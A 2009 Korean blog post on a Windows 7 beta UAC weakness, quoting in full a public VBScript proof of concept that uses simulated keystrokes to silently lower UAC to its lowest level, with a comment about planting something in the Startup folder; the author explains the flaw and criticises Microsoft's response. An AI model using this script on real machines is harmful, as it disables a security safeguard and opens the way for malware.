Microsoft MVP성태의 닷넷 이야기
Windows: 41. UAC 보안 취약 [링크 복사], [링크+제목 복사],
조회: 22939
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
 


Windows 7 - UAC 보안 취약


오늘 날짜의 "한국 마이크로소프트 - 오늘의 뉴스"에 재미있는 기사가 올라왔습니다.

[외신] 윈도우 7 베타버전 UAC기능, 보안 취약 논쟁 
; http://www.boannews.com/media/view.asp?idx=14088&kind=1

재미있더군요. 검색을 통해서 문제를 제기한 "Long Zheng"이라는 사람의 글을 쉽게 발견할 수 있었습니다.

Sacrificing security for usability: UAC security flaw in Windows 7 beta (with proof of concept code) 
; http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Malware can turn off UAC in Windows 7; “By design” says Microsoft
; http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-by-design-says-microsoft

실제로, 공개된 소스코드를 확인해 보면 정말 간단합니다.

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

문제가 되는 것은, UAC 수준이 Windows 7에서 조정이 되었는데, 그 조정된 수준에서는 UAC 자체의 설정값을 변경하는 행위에서도 "UAC 확인" 창이 뜨지 않는다는 것입니다. 위의 프로그램을 통해서 실행되는 프로그램은 "User Account Control Settings" 대화창인데,

[그림 1: Windows 7 UAC 수준 변경 대화창]
windows7_uac_flaw_by_keyboard_1.png

UAC 모드를 변경하는 "OK" 버튼에서 "UAC 확인창"이 떠야만 하는데, 현재 Windows 7의 기본값인 "Default - Notify me only when programs try to make changes to my computer"에서는 UAC를 바꾸는 것 자체도 "Windows settings"를 변경하는 부분에 해당하기 때문에 UAC 확인창이 뜨지 않는 것입니다.

만약, UAC 설정값을 프로그래밍적으로 바꾸는 방법이 있었다면 위와 같이 SendKeys 방법을 굳이 통하지 않고 그 API를 부르는 것만으로도 UAC는 쉽게 바뀔 수 있다는 의미가 됩니다.

이 부분은, UAC 수준을 조절하는 과정에서 Microsoft 내부적으로 잘못 이해된 것이 아닌가 싶은데, 마이크로소프트 측에서는 이것을 "By Design"의 문제라고 하며 그다지 중요하게 생각하지 않고 있다는 것도 또한 문제시되고 있습니다. 제 생각에는 이런 정도의 결함은 Microsoft도 내부적인 설정 오류라고 보고 수정하면 될 것 같은데 ... 좀 의아스럽긴 합니다.

제 개인적인 생각으로도, Windows 7 정식 버전에서는 꼭 고쳐졌으면 좋겠군요.



[이 토픽에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]







[최초 등록일: ]
[최종 수정일: 4/10/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 



2009-02-15 10시09분
[vbdream] 최소한 UAC 변경 창은 별도의 데스크톱이라던가, 하여튼 일반적인 응용 프로그램과는 단절된 환경에서 이루어져야 하겠네요.
[guest]
2009-02-15 11시01분
위의 문제에서는 기본적으로 UAC 변경에 대한 것 자체에 UAC를 적용해야 하고요. ^^
UAC 대화창이 떠야 한다면 "vbdream" 님이 말씀하신 것처럼 별도의 데스크톱에 떠야 안전하겠지요.
kevin25

... [106]  107  108  109  110  111  112  113  114  115  116  117  118  119  120  ...
NoWriterDateCnt.TitleFile(s)
11274정성태8/22/201719373.NET Framework: 674. Thread 타입의 Suspend/Resume/Join 사용 관련 예외 처리
11273정성태8/22/201721633오류 유형: 415. 윈도우 업데이트 에러 Error 0x80070643
11272정성태8/21/201724792VS.NET IDE: 120. 비주얼 스튜디오 2017 버전 15.3.1 - C# 7.1 공개 [2]
11271정성태8/19/201719230VS.NET IDE: 119. Visual Studio 2017에서 .NET Core 2.0 프로젝트 환경 구성하는 방법
11270정성태8/17/201730714.NET Framework: 673. C#에서 enum을 boxing 없이 int로 변환하기 [2]
11269정성태8/17/201721486디버깅 기술: 93. windbg - 풀 덤프에서 .NET 스레드의 상태를 알아내는 방법
11268정성태8/14/201721057디버깅 기술: 92. windbg - C# Monitor Lock을 획득하고 있는 스레드 찾는 방법
11267정성태8/10/201725115.NET Framework: 672. 모노 개발 환경
11266정성태8/10/201724917.NET Framework: 671. C# 6.0 이상의 소스 코드를 Visual Studio 설치 없이 명령행에서 컴파일하는 방법
11265정성태8/10/201753170기타: 66. 도서: 시작하세요! C# 7.1 프로그래밍: 기본 문법부터 실전 예제까지 [11]
11264정성태8/9/201724083오류 유형: 414. UWP app을 signtool.exe로 서명 시 0x8007000b 오류 발생
11263정성태8/9/201719569오류 유형: 413. The C# project "..." is targeting ".NETFramework, Version=v4.0", which is not installed on this machine. [3]
11262정성태8/5/201718248오류 유형: 412. windbg - SOS does not support the current target architecture. [3]
11261정성태8/4/201720833디버깅 기술: 91. windbg - 풀 덤프 파일로부터 강력한 이름의 어셈블리 추출 후 사용하는 방법
11260정성태8/3/201718935.NET Framework: 670. C# - 실행 파일로부터 공개키를 추출하는 방법
11259정성태8/2/201718172.NET Framework: 669. 지연 서명된 어셈블리를 sn.exe -Vr 등록 없이 사용하는 방법
11258정성태8/1/201718976.NET Framework: 668. 지연 서명된 DLL과 서명된 DLL의 차이점파일 다운로드1
11257정성태7/31/201719162.NET Framework: 667. bypassTrustedAppStrongNames 옵션 설명파일 다운로드1
11256정성태7/25/201720656디버깅 기술: 90. windbg의 lm 명령으로 보이지 않는 .NET 4.0 ClassLibrary를 명시적으로 로드하는 방법 [1]
11255정성태7/18/201723207디버깅 기술: 89. Win32 Debug CRT Heap Internals의 0xBAADF00D 표시 재현 [1]파일 다운로드3
11254정성태7/17/201719569개발 환경 구성: 322. "Visual Studio Emulator for Android" 에뮬레이터를 "Android Studio"와 함께 쓰는 방법
11253정성태7/17/201719913Math: 21. "Coding the Matrix" 문제 2.5.1 풀이 [1]파일 다운로드1
11252정성태7/13/201718450오류 유형: 411. RTVS 또는 PTVS 실행 시 Could not load type 'Microsoft.VisualStudio.InteractiveWindow.Shell.IVsInteractiveWindowFactory2'
11251정성태7/13/201717136디버깅 기술: 88. windbg 분석 - webengine4.dll의 MgdExplicitFlush에서 발생한 System.AccessViolationException의 crash 문제 (2)
11250정성태7/13/201720697디버깅 기술: 87. windbg 분석 - webengine4.dll의 MgdExplicitFlush에서 발생한 System.AccessViolationException의 crash 문제 [1]
11249정성태7/12/201718522오류 유형: 410. LoadLibrary("[...].dll") failed - The specified procedure could not be found.
... [106]  107  108  109  110  111  112  113  114  115  116  117  118  119  120  ...